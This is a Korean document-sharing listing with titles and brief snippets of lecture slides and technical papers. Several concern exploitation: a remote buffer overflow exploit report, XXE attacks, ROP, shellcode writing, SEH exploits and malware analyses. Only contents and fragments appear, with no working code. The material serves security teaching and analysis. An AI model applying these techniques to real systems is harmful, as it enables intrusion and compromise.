취약점분석보고서 Simple Web Server 2.2 rc2 Remote Buffer Overflow Exploit RedAlert Team 안상환 취약점분석보고서 Simple Web Server 2.2 rc2 Remote Buffer Overflow Exploit 2012-07-19 RedAlert Team 안상환 목 차 1. 개요... 1 1.1. 취약점분석추진배경... 1 2. Simple Web Server 취약점... 2 2.1. Simple Web Server 취약점개요... 2 2.2. Simple

More information

Microsoft PowerPoint - a8a.ppt [호환 모드]

Microsoft PowerPoint - a8a.ppt [호환 모드] 이장의내용 8 장고급프로시저 스택프레임 재귀 (Recursion) Invoke, Addr, Proc, Proto 디렉티브 다중모듈프로그램작성 2 8.2 스택프레임 Stack Frame ( 또는 activation record) procedure 의다음사항을저장한 영역 urn address passed parameter ( 스택매개변수 ) saved register

More information

슬라이드 1

슬라이드 1 -Part3- 제 4 장동적메모리할당과가변인 자 학습목차 4.1 동적메모리할당 4.1 동적메모리할당 4.1 동적메모리할당 배울내용 1 프로세스의메모리공간 2 동적메모리할당의필요성 4.1 동적메모리할당 (1/6) 프로세스의메모리구조 코드영역 : 프로그램실행코드, 함수들이저장되는영역 스택영역 : 매개변수, 지역변수, 중괄호 ( 블록 ) 내부에정의된변수들이저장되는영역

More information

<322EBCF8C8AF28BFACBDC0B9AEC1A6292E687770>

<322EBCF8C8AF28BFACBDC0B9AEC1A6292E687770> 연습문제해답 5 4 3 2 1 0 함수의반환값 =15 5 4 3 2 1 0 함수의반환값 =95 10 7 4 1-2 함수의반환값 =3 1 2 3 4 5 연습문제해답 1. C 언어에서의배열에대하여다음중맞는것은? (1) 3차원이상의배열은불가능하다. (2) 배열의이름은포인터와같은역할을한다. (3) 배열의인덱스는 1에서부터시작한다. (4) 선언한다음, 실행도중에배열의크기를변경하는것이가능하다.

More information

Microsoft Word - ntasFrameBuilderInstallGuide2.5.doc

Microsoft Word - ntasFrameBuilderInstallGuide2.5.doc NTAS and FRAME BUILDER Install Guide NTAS and FRAME BUILDER Version 2.5 Copyright 2003 Ari System, Inc. All Rights reserved. NTAS and FRAME BUILDER are trademarks or registered trademarks of Ari System,

More information

기술문서 작성 XXE Attacks 작성자 : 인천대학교 OneScore 김영성 I. 소개 2 II. 본문 2 가. XML external entities 2 나. XXE Attack 3 다. 점검방법 3 라.

기술문서 작성 XXE Attacks 작성자 : 인천대학교 OneScore 김영성 I. 소개 2 II. 본문 2 가. XML external entities 2 나. XXE Attack 3 다. 점검방법 3 라. 기술문서 14. 11. 10. 작성 XXE Attacks 작성자 : 인천대학교 OneScore 김영성 dokymania@naver.com I. 소개 2 II. 본문 2 가. XML external entities 2 나. XXE Attack 3 다. 점검방법 3 라. Exploit 5 마. 피해 6 III. 결론 6 가. 권고사항 6 I. 소개 가. 역자 본문서는

More information

Microsoft PowerPoint - chap02-C프로그램시작하기.pptx

Microsoft PowerPoint - chap02-C프로그램시작하기.pptx #include int main(void) { int num; printf( Please enter an integer "); scanf("%d", &num); if ( num < 0 ) printf("is negative.\n"); printf("num = %d\n", num); return 0; } 1 학습목표 을 작성하면서 C 프로그램의

More information

Microsoft PowerPoint - o8.pptx

Microsoft PowerPoint - o8.pptx 메모리보호 (Memory Protection) 메모리보호를위해 page table entry에 protection bit와 valid bit 추가 Protection bits read-write / read-only / executable-only 정의 page 단위의 memory protection 제공 Valid bit (or valid-invalid bit)

More information

제 14 장포인터활용 유준범 (JUNBEOM YOO) Ver 본강의자료는생능출판사의 PPT 강의자료 를기반으로제작되었습니다.

제 14 장포인터활용 유준범 (JUNBEOM YOO) Ver 본강의자료는생능출판사의 PPT 강의자료 를기반으로제작되었습니다. 제 14 장포인터활용 유준범 (JUNBEOM YOO) Ver. 2.0 jbyoo@konkuk.ac.kr http://dslab.konkuk.ac.kr 본강의자료는생능출판사의 PPT 강의자료 를기반으로제작되었습니다. 이번장에서학습할내용 이중포인터란무엇인가? 포인터배열 함수포인터 다차원배열과포인터 void 포인터 포인터는다양한용도로유용하게활용될수있습니다. 2 이중포인터

More information

JVM 메모리구조

JVM 메모리구조 조명이정도면괜찮조! 주제 JVM 메모리구조 설미라자료조사, 자료작성, PPT 작성, 보고서작성. 발표. 조장. 최지성자료조사, 자료작성, PPT 작성, 보고서작성. 발표. 조원 이용열자료조사, 자료작성, PPT 작성, 보고서작성. 이윤경 자료조사, 자료작성, PPT작성, 보고서작성. 이수은 자료조사, 자료작성, PPT작성, 보고서작성. 발표일 2013. 05.

More information

Microsoft PowerPoint - ch04_코드 보안 [호환 모드]

Microsoft PowerPoint - ch04_코드 보안 [호환 모드] 이장에서다룰내용 1 2 3 컴퓨터의기본구조를살펴본다. 기계어수준에서의프로그램동작을이해한다. 버퍼오버플로우와포맷스트링공격을알아본다. 정보보안개론 4 장 Section 01 시스템과프로그램에대한이해 Section 01 시스템과프로그램에대한이해 시스템메모리구조 프로그램을동작시키면메모리에프로그램이동작하기위한가상의메모리공간이생성되며, 이메모리공간은다시그목적에따라상위,

More information

Microsoft PowerPoint - ch07 - 포인터 pm0415

Microsoft PowerPoint - ch07 - 포인터 pm0415 2015-1 프로그래밍언어 7. 포인터 (Pointer), 동적메모리할당 2015 년 4 월 4 일 교수김영탁 영남대학교공과대학정보통신공학과 (Tel : +82-53-810-2497; Fax : +82-53-810-4742 http://antl.yu.ac.kr/; E-mail : ytkim@yu.ac.kr) Outline 포인터 (pointer) 란? 간접참조연산자

More information

IT CookBook, 정보보안개론 ( 개정판 ) [ 강의교안이용안내 ] 본강의교안의저작권은한빛아카데미 에있습니다. 이자료를무단으로전제하거나배포할경우저작권법 136 조에의거하여최고 5 년이하의징역또는 5 천만원이하의벌금에처할수있고이를병과 ( 倂科 ) 할수도있습니다.

IT CookBook, 정보보안개론 ( 개정판 ) [ 강의교안이용안내 ] 본강의교안의저작권은한빛아카데미 에있습니다. 이자료를무단으로전제하거나배포할경우저작권법 136 조에의거하여최고 5 년이하의징역또는 5 천만원이하의벌금에처할수있고이를병과 ( 倂科 ) 할수도있습니다. IT CookBook, 정보보안개론 ( 개정판 ) [ 강의교안이용안내 ] 본강의교안의저작권은한빛아카데미 에있습니다. 이자료를무단으로전제하거나배포할경우저작권법 136 조에의거하여최고 5 년이하의징역또는 5 천만원이하의벌금에처할수있고이를병과 ( 倂科 ) 할수도있습니다. Chapter 05. 코드보안 : 코드속에뒷길을만드는기술 1. 시스템과프로그램에대한이해 2.

More information

simple ROP Exploit

simple ROP Exploit SIMPLE ROP EXPLOIT 문제로풀어보는 ROP TigerTeam elttzero@tigerteam.kr 목차 1. 개요... 2 2. Buffer OverFlow... 2 3. BOF 방어기법... 3 3.1. DEP(Data Execution Prevention)... 3 3.2. ASLR(Address Space Layout Randomization)...

More information

01.ROP(Return Oriented Programming)-x86 Excuse the ads! We need some help to keep our site up. List Return Oriented Programming(ROP) -x86 Gadgets - PO

01.ROP(Return Oriented Programming)-x86 Excuse the ads! We need some help to keep our site up. List Return Oriented Programming(ROP) -x86 Gadgets - PO 01.ROP(Return Oriented Programming)-x86 Excuse the ads! We need some help to keep our site up. List Return Oriented Programming(ROP) -x86 Gadgets - POP; POP; POP; RET PLT & GOT Debug Proof of concept Example

More information

<4D F736F F F696E74202D206D61696E D F6E D20C7C1B7CEBCBCBCAD20B7CEB5F920C8C420B8DEB8F0B8AE20B9D B20B1B8C1B6C0CCC7D8>

<4D F736F F F696E74202D206D61696E D F6E D20C7C1B7CEBCBCBCAD20B7CEB5F920C8C420B8DEB8F0B8AE20B9D B20B1B8C1B6C0CCC7D8> 프로세스로딩후메모리및 stack 구조이해 학습목표 실제프로그램이 CPU 에의해메모리에상주되었을때메모리구조에대하여숙지한다. 논리적스택에대한개념과작동원리를이해한다. 논리적스택구조에대하여자세히각부분별기능이무슨역할을하는지를파악한다. 메모리구조모습 (1) 메모리구조 ( 코드영역 ) 논리적스택개념논리적스택구조논리적스택구조특징 more 프로그램실행후메모리구조모습 (1)

More information

Microsoft Word - ANI 취약점.doc

Microsoft Word - ANI 취약점.doc ANI 취약점 (MS07-017) 본문에서는최근 Windows.ani 에대한취약점으로 2006 년에이 어다시한번취약점이나타나면서마소에서핫픽스까지제공한 최근이슈가되었던취약점에대한분석이다. Hacking Group OVERTIME crash 2007.10.10 1. 취약점설명 해당취약점은조작된 ANI 파일에대하여 Windows

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 System Software Experiment 1 Lecture 5 - Array Spring 2019 Hwansoo Han (hhan@skku.edu) Advanced Research on Compilers and Systems, ARCS LAB Sungkyunkwan University http://arcs.skku.edu/ 1 배열 (Array) 동일한타입의데이터가여러개저장되어있는저장장소

More information

10 강. 쉘스크립트 l 쉘스크립트 Ÿ 쉘은명령어들을연속적으로실행하는인터프리터환경을제공 Ÿ 쉘스크립트는제어문과변수선언등이가능하며프로그래밍언어와유사 Ÿ 프로그래밍언어와스크립트언어 -프로그래밍언어를사용하는경우소스코드를컴파일하여실행가능한파일로만들어야함 -일반적으로실행파일은다

10 강. 쉘스크립트 l 쉘스크립트 Ÿ 쉘은명령어들을연속적으로실행하는인터프리터환경을제공 Ÿ 쉘스크립트는제어문과변수선언등이가능하며프로그래밍언어와유사 Ÿ 프로그래밍언어와스크립트언어 -프로그래밍언어를사용하는경우소스코드를컴파일하여실행가능한파일로만들어야함 -일반적으로실행파일은다 10 강. 쉘스크립트 쉘스크립트 쉘은명령어들을연속적으로실행하는인터프리터환경을제공 쉘스크립트는제어문과변수선언등이가능하며프로그래밍언어와유사 프로그래밍언어와스크립트언어 -프로그래밍언어를사용하는경우소스코드를컴파일하여실행가능한파일로만들어야함 -일반적으로실행파일은다른운영체제로이식되지않음 -스크립트언어를사용하면컴파일과정이없고인터프리터가소스파일에서명령문을판독하여각각의명령을수행

More information

Microsoft PowerPoint - ch04_코드 보안 [호환 모드]

Microsoft PowerPoint - ch04_코드 보안 [호환 모드] 정보보안개론 4 장 이장에서다룰내용 1 컴퓨터의기본구조를살펴본다. 2 기계어수준에서의프로그램동작을이해한다. 2 3 버퍼오버플로우와포맷스트링공격을알아본다. Section 01 시스템과프로그램에대한이해 v 시스템메모리구조 프로그램을동작시키면메모리에프로그램이동작하기위한가상의메모리공간이 생성되며, 이메모리공간은다시그목적에따라상위, 하위메모리로나뉨. 상위메모리 : 스택

More information

02.Create a shellcode that executes "/bin/sh" Excuse the ads! We need some help to keep our site up. List Create a shellcode that executes "/bin/sh" C

02.Create a shellcode that executes /bin/sh Excuse the ads! We need some help to keep our site up. List Create a shellcode that executes /bin/sh C 02.Create a shellcode that executes "/bin/sh" Excuse the ads! We need some help to keep our site up. List Create a shellcode that executes "/bin/sh" C language Assembly code Change permissions(seteuid())

More information

임베디드시스템설계강의자료 6 system call 2/2 (2014 년도 1 학기 ) 김영진 아주대학교전자공학과

임베디드시스템설계강의자료 6 system call 2/2 (2014 년도 1 학기 ) 김영진 아주대학교전자공학과 임베디드시스템설계강의자료 6 system call 2/2 (2014 년도 1 학기 ) 김영진 아주대학교전자공학과 System call table and linkage v Ref. http://www.ibm.com/developerworks/linux/library/l-system-calls/ - 2 - Young-Jin Kim SYSCALL_DEFINE 함수

More information

Microsoft Word - src.doc

Microsoft Word - src.doc IPTV 서비스탐색및콘텐츠가이드 RI 시스템운용매뉴얼 목차 1. 서버설정방법... 5 1.1. 서비스탐색서버설정... 5 1.2. 컨텐츠가이드서버설정... 6 2. 서버운용방법... 7 2.1. 서비스탐색서버운용... 7 2.1.1. 서비스가이드서버실행... 7 2.1.2. 서비스가이드정보확인... 8 2.1.3. 서비스가이드정보추가... 9 2.1.4. 서비스가이드정보삭제...

More information

Basic of Real World Exploit on Windows Author

Basic of Real World Exploit on Windows Author Basic of Real World Exploit on Windows Author sweetchip@wiseguys 목차 0x00 Intro 0x10 Target 0x20 Vulnerability ㄴ 0x21 What is Buffer Overflow? ㄴ 0x22 How does buffer overflow occurs? 0x30 Debugging ㄴ 0x31

More information

금오공대 컴퓨터공학전공 강의자료

금오공대 컴퓨터공학전공 강의자료 C 프로그래밍프로젝트 Chap 14. 포인터와함수에대한이해 2013.10.09. 오병우 컴퓨터공학과 14-1 함수의인자로배열전달 기본적인인자의전달방식 값의복사에의한전달 val 10 a 10 11 Department of Computer Engineering 2 14-1 함수의인자로배열전달 배열의함수인자전달방식 배열이름 ( 배열주소, 포인터 ) 에의한전달 #include

More information

hlogin7

hlogin7 0x07. Return Oriented Programming ROP? , (DEP, ASLR). ROP (Return Oriented Programming) (excutable memory) rop. plt, got got overwrite RTL RTL Chain DEP, ASLR gadget Basic knowledge plt, got call function

More information

Microsoft Word - ExecutionStack

Microsoft Word - ExecutionStack Lecture 15: LM code from high level language /* Simple Program */ external int get_int(); external void put_int(); int sum; clear_sum() { sum=0; int step=2; main() { register int i; static int count; clear_sum();

More information

<41736D6C6F D20B9AEBCADBEE7BDC42E687770>

<41736D6C6F D20B9AEBCADBEE7BDC42E687770> IDA Remote Debugging 2007. 01. 이강석 / certlab@gmail.com http://www.asmlove.co.kr - 1 - Intro IDA Remote debugging에대해알아봅시다. 이런기능이있다는것을잘모르시는분들을위해문서를만들었습니다. IDA 기능중에분석할파일을원격에서디버깅할수있는기능이있는데먼저그림과함께예를들어설명해보도록하겠습니다.

More information

Microsoft Word - Exploit writing tutorial part 3.doc

Microsoft Word - Exploit writing tutorial part 3.doc Exploit writing tutorial part 3: SEH based exploits 1 By Peter Van Eeckhoutte 편역 : vangelis(vangelis@s0f.org) 이튜토리얼의첫두부분에서고전적인스택기반의오버플로우와쉘코드로점프하는다양한기술을이용해신뢰할수있는 exploit을만드는방법에대해알아보았다. 앞에서사용한예는 EIP를직접적으로덮어쓰고,

More information

Return-to-libc

Return-to-libc Return-to-libc Mini (skyclad0x7b7@gmail.com) 2015-08-22 - INDEX - 1. 개요... - 2-1-1. 서문... - 2-1-2. RTL 공격이란... - 2 - 보호기법... - 3 - Libc 란?... - 4-2. RTL 공격... - 4-2-1. 취약한코드... - 4-2-2. 분석... - 5-2-3.

More information

Chapter ...

Chapter ... Chapter 4 프로세서 (4.9절, 4.12절, 4.13절) Contents 4.1 소개 4.2 논리 설계 기초 4.3 데이터패스 설계 4.4 단순한 구현 방법 4.5 파이프라이닝 개요*** 4.6 파이프라이닝 데이터패스 및 제어*** 4.7 데이터 해저드: 포워딩 vs. 스톨링*** 4.8 제어 해저드*** 4.9 예외 처리*** 4.10 명령어 수준

More information

CKKeyPro 적용가이드

CKKeyPro 적용가이드 3.20 사이버테러악성코드분석보고서 라온시큐어보안기술연구팀 작성일 : 2013. 03 페이지 : 1/15 Introduction 2013년 3월 20일오후, MBC, KBS, YTN, 농협, 신한은행, 제주은행전산망장애가동시에발생하였다. 피해기관들의호스트약 500여대에오류메시지가화면에나타났으며악성코드에감염된호스트는사용할수없는상태가되었다. 현재까지정확한침투경로가밝혀지지않고있다.

More information

Reusing Dynamic Linker For Exploitation Author : Date : 2012 / 05 / 13 Contact : Facebook : fb.me/kwonpwn

Reusing Dynamic Linker For Exploitation Author :  Date : 2012 / 05 / 13 Contact : Facebook : fb.me/kwonpwn Reusing Dynamic Linker For Exploitation Author : pwn3r @ B10S @WiseGuyz Date : 2012 / 05 / 13 Contact : austinkwon2@gmail.com Facebook : fb.me/kwonpwn3r Abstract 대부분의 Unix 에선공유라이브러리를메모리에로드하고프로그램과 link

More information

ADP-2480

ADP-2480 Mitsubishi PLC 접속 GP 는 Mitsubishi FX Series 와통신이가능합니다. 시스템구성 6 7 8 GP-80 RS- Cable RS-C Cable FXN--BD FXN--BD 6 FX Series(FXS,FXN,FXN,FXNC, FXU) 7 FXS, FXN 8 FXN FX Series 는기본적으로 RS- 통신을하며, RS-/ converter

More information

UI TASK & KEY EVENT

UI TASK & KEY EVENT 2007. 2. 5 PLATFORM TEAM 정용학 차례 CONTAINER & WIDGET SPECIAL WIDGET 질의응답및토의 2 Container LCD에보여지는화면한개 1개이상의 Widget을가짐 3 Container 초기화과정 ui_init UMP_F_CONTAINERMGR_Initialize UMP_H_CONTAINERMGR_Initialize

More information

11장 포인터

11장 포인터 누구나즐기는 C 언어콘서트 제 9 장포인터 이번장에서학습할내용 포인터이란? 변수의주소 포인터의선언 간접참조연산자 포인터연산 포인터와배열 포인터와함수 이번장에서는포인터의기초적인지식을학습한다. 포인터란? 포인터 (pointer): 주소를가지고있는변수 메모리의구조 변수는메모리에저장된다. 메모리는바이트단위로액세스된다. 첫번째바이트의주소는 0, 두번째바이트는 1, 변수와메모리

More information

[ 마이크로프로세서 1] 2 주차 3 차시. 포인터와구조체 2 주차 3 차시포인터와구조체 학습목표 1. C 언어에서가장어려운포인터와구조체를설명할수있다. 2. Call By Value 와 Call By Reference 를구분할수있다. 학습내용 1 : 함수 (Functi

[ 마이크로프로세서 1] 2 주차 3 차시. 포인터와구조체 2 주차 3 차시포인터와구조체 학습목표 1. C 언어에서가장어려운포인터와구조체를설명할수있다. 2. Call By Value 와 Call By Reference 를구분할수있다. 학습내용 1 : 함수 (Functi 2 주차 3 차시포인터와구조체 학습목표 1. C 언어에서가장어려운포인터와구조체를설명할수있다. 2. Call By Value 와 Call By Reference 를구분할수있다. 학습내용 1 : 함수 (Function) 1. 함수의개념 입력에대해적절한출력을발생시켜주는것 내가 ( 프로그래머 ) 작성한명령문을연산, 처리, 실행해주는부분 ( 모듈 ) 자체적으로실행되지않으며,

More information

ActFax 4.31 Local Privilege Escalation Exploit

ActFax 4.31 Local Privilege Escalation Exploit NSHC 2013. 05. 23 악성코드 분석 보고서 [ Ransomware 악성코드 ] 사용자의 컴퓨터를 강제로 잠그고 돈을 요구하는 형태의 공격이 기승을 부리고 있 습니다. 이러한 형태의 공격에 이용되는 악성코드는 Ransomware로 불리는 악성코 드 입니다. 한번 감염 시 치료절차가 복잡하며, 보고서 작성 시점을 기준으로 지속 적인 피해자가 발생되고

More information

학습목차 r 컴퓨터본체에서 CPU 의위치살펴보기 r CPU 의성능 r CPU 의기능 r CPU 의조직 r 레지스터의조직 r 명령어사이클 r 명령어파이프라이닝 컴퓨터구조 2 9. CPU 조직과기능

학습목차 r 컴퓨터본체에서 CPU 의위치살펴보기 r CPU 의성능 r CPU 의기능 r CPU 의조직 r 레지스터의조직 r 명령어사이클 r 명령어파이프라이닝 컴퓨터구조 2 9. CPU 조직과기능 컴퓨터구조 제 9 강 중앙처리장치의조직과기능 학습목차 r 컴퓨터본체에서 CPU 의위치살펴보기 r CPU 의성능 r CPU 의기능 r CPU 의조직 r 레지스터의조직 r 명령어사이클 r 명령어파이프라이닝 컴퓨터구조 2 9. CPU 조직과기능 학습목표 rcpu 의성능을향상시키는요인들을알아본다. rcpu 의기본적인기능을이해한다. rcpu 는 ALU, 제어장치, 레지스터집합,

More information

이도경, 최덕재 Dokyeong Lee, Deokjai Choi 1. 서론

이도경, 최덕재 Dokyeong Lee, Deokjai Choi 1. 서론 이도경, 최덕재 Dokyeong Lee, Deokjai Choi 1. 서론 2. 관련연구 2.1 MQTT 프로토콜 Fig. 1. Topic-based Publish/Subscribe Communication Model. Table 1. Delivery and Guarantee by MQTT QoS Level 2.1 MQTT-SN 프로토콜 Fig. 2. MQTT-SN

More information

iii. Design Tab 을 Click 하여 WindowBuilder 가자동으로생성한 GUI 프로그래밍환경을확인한다.

iii. Design Tab 을 Click 하여 WindowBuilder 가자동으로생성한 GUI 프로그래밍환경을확인한다. Eclipse 개발환경에서 WindowBuilder 를이용한 Java 프로그램개발 이예는 Java 프로그램의기초를이해하고있는사람을대상으로 Embedded Microcomputer 를이용한제어시스템을 PC 에서 Serial 통신으로제어 (Graphical User Interface (GUI) 환경에서 ) 하는프로그램개발예를설명한다. WindowBuilder:

More information

슬라이드 1

슬라이드 1 Pairwise Tool & Pairwise Test NuSRS 200511305 김성규 200511306 김성훈 200614164 김효석 200611124 유성배 200518036 곡진화 2 PICT Pairwise Tool - PICT Microsoft 의 Command-line 기반의 Free Software www.pairwise.org 에서다운로드후설치

More information

Microsoft PowerPoint - chap06-5 [호환 모드]

Microsoft PowerPoint - chap06-5 [호환 모드] 2011-1 학기프로그래밍입문 (1) chapter 06-5 참고자료 변수의영역과데이터의전달 박종혁 Tel: 970-6702 Email: jhpark1@seoultech.ac.kr h k 한빛미디어 출처 : 뇌를자극하는 C프로그래밍, 한빛미디어 -1- ehanbit.net 자동변수 지금까지하나의함수안에서선언한변수는자동변수이다. 사용범위는하나의함수내부이다. 생존기간은함수가호출되어실행되는동안이다.

More information

Microsoft PowerPoint - 15-MARS

Microsoft PowerPoint - 15-MARS MARS 소개및실행 어셈블리프로그램실행예 순천향대학교컴퓨터공학과이상정 1 MARS 소개및실행 순천향대학교컴퓨터공학과 2 MARS 소개 MARS MIPS Assembler and Runtime Simulator MIPS 어셈블리언어를위한소프트웨어시뮬레이터 미주리대학 (Missouri State Univ.) 의 Ken Vollmar 등이자바로개발한교육용시뮬레이터

More information

Microsoft PowerPoint - chap05-제어문.pptx

Microsoft PowerPoint - chap05-제어문.pptx int num; printf( Please enter an integer: "); scanf("%d", &num); if ( num < 0 ) printf("is negative.\n"); printf("num = %d\n", num); 1 학습목표 제어문인,, 분기문에 대해 알아본다. 인 if와 switch의 사용 방법과 사용시 주의사항에 대해 알아본다.

More information

Microsoft Word - 3부A windows 환경 IVF + visual studio.doc

Microsoft Word - 3부A windows 환경 IVF + visual studio.doc Visual Studio 2005 + Intel Visual Fortran 9.1 install Intel Visual Fortran 9.1 intel Visual Fortran Compiler 9.1 만설치해서 DOS 모드에서실행할수있지만, Visual Studio 2005 의 IDE 를사용하기위해서는 Visual Studio 2005 를먼저설치후 Integration

More information

Microsoft Word - poc_script1.doc

Microsoft Word - poc_script1.doc POC Hacker s dream Script #1 US-ASCII 방식의악성스크립트분석 HACKING GROUP OVERTIME OVERTIME woos55 55< wooshack55@gmail.com>2008. >2008.10 10.2.27 1. US_ASCII 로인코딩된스크립트디코딩하기. [2] 사이트참조 ASCIIExploit.exe d index.html

More information

슬라이드 1

슬라이드 1 명령어집합 주소지정모드 (addressing mode) 내용 명령어는크게연산자부분과이연산에필요한주소부분으로구성 이때주소부분은다양한형태를해석될수있으며, 해석하는방법을주소지정방식 ( 모드 )(addressing mode) 라한다. 즉피연산자정보를구하는방법을주소지정방식이라고함 명령어형식 주소지정 명령어형식에있는주소필드는상대적으로짧다. 따라서지정할수있는위치가제한된다.

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 Chapter 10 포인터 01 포인터의기본 02 인자전달방법 03 포인터와배열 04 포인터와문자열 변수의주소를저장하는포인터에대해알아본다. 함수의인자를값과주소로전달하는방법을알아본다. 포인터와배열의관계를알아본다. 포인터와문자열의관계를알아본다. 1.1 포인터선언 포인터선언방법 자료형 * 변수명 ; int * ptr; * 연산자가하나이면 1 차원포인터 1 차원포인터는일반변수의주소를값으로가짐

More information

Cogame 취약점 보고

Cogame 취약점 보고 Frist Version: 2006. 01. 07 Last Version: 2006. 01. 19 anesra@{null2root.org, gmail.com Table of Contents 1. 기본개념과도구...3 1.1 윈도우쉘코드... 3 1.2 윈도우메모리 LAYOUT... 4 1.3 레지스터... 4 1.4 기본어셈블리어명령어... 4 2. 쉘코드만들기...6

More information

Microsoft Word - Reversing Engineering Code with IDA Pro-4-1.doc

Microsoft Word - Reversing Engineering Code with IDA Pro-4-1.doc Reverse Engineering Code with IDA Pro By Dan Kaminsky, Justin Ferguson, Jason Larsen, Luis Miras, Walter Pearce 정리 : vangelis(securityproof@gmail.com) 이글은 Reverse Engineering Code with IDA Pro(2008년출판

More information

[Brochure] KOR_TunA

[Brochure] KOR_TunA LG CNS LG CNS APM (TunA) LG CNS APM (TunA) 어플리케이션의 성능 개선을 위한 직관적이고 심플한 APM 솔루션 APM 이란? Application Performance Management 란? 사용자 관점 그리고 비즈니스 관점에서 실제 서비스되고 있는 어플리케이션의 성능 관리 체계입니다. 이를 위해서는 신속한 장애 지점 파악 /

More information

1. auto_ptr 다음프로그램의문제점은무엇인가? void func(void) int *p = new int; cout << " 양수입력 : "; cin >> *p; if (*p <= 0) cout << " 양수를입력해야합니다 " << endl; return; 동적할

1. auto_ptr 다음프로그램의문제점은무엇인가? void func(void) int *p = new int; cout <<  양수입력 : ; cin >> *p; if (*p <= 0) cout <<  양수를입력해야합니다  << endl; return; 동적할 15 장기타주제들 auto_ptr 변환함수 cast 연산자에의한명시적형변환실행시간타입정보알아내기 (RTTI) C++ 프로그래밍입문 1. auto_ptr 다음프로그램의문제점은무엇인가? void func(void) int *p = new int; cout > *p; if (*p

More information

Lab 3. 실습문제 (Single linked list)_해답.hwp

Lab 3. 실습문제 (Single linked list)_해답.hwp Lab 3. Singly-linked list 의구현 실험실습일시 : 2009. 3. 30. 담당교수 : 정진우 담당조교 : 곽문상 보고서제출기한 : 2009. 4. 5. 학과 : 학번 : 성명 : 실습과제목적 : 이론시간에배운 Singly-linked list를실제로구현할수있다. 실습과제내용 : 주어진소스를이용해 Singly-linked list의각함수를구현한다.

More information

Microsoft Word - windows server 2003 수동설치_non pro support_.doc

Microsoft Word - windows server 2003 수동설치_non pro support_.doc Windows Server 2003 수동 설치 가이드 INDEX 운영체제 설치 준비과정 1 드라이버를 위한 플로피 디스크 작성 2 드라이버를 위한 USB 메모리 작성 7 운영체제 설치 과정 14 Boot Sequence 변경 14 컨트롤러 드라이버 수동 설치 15 운영체제 설치 17 운영체제 설치 준비 과정 Windows Server 2003 에는 기본적으로

More information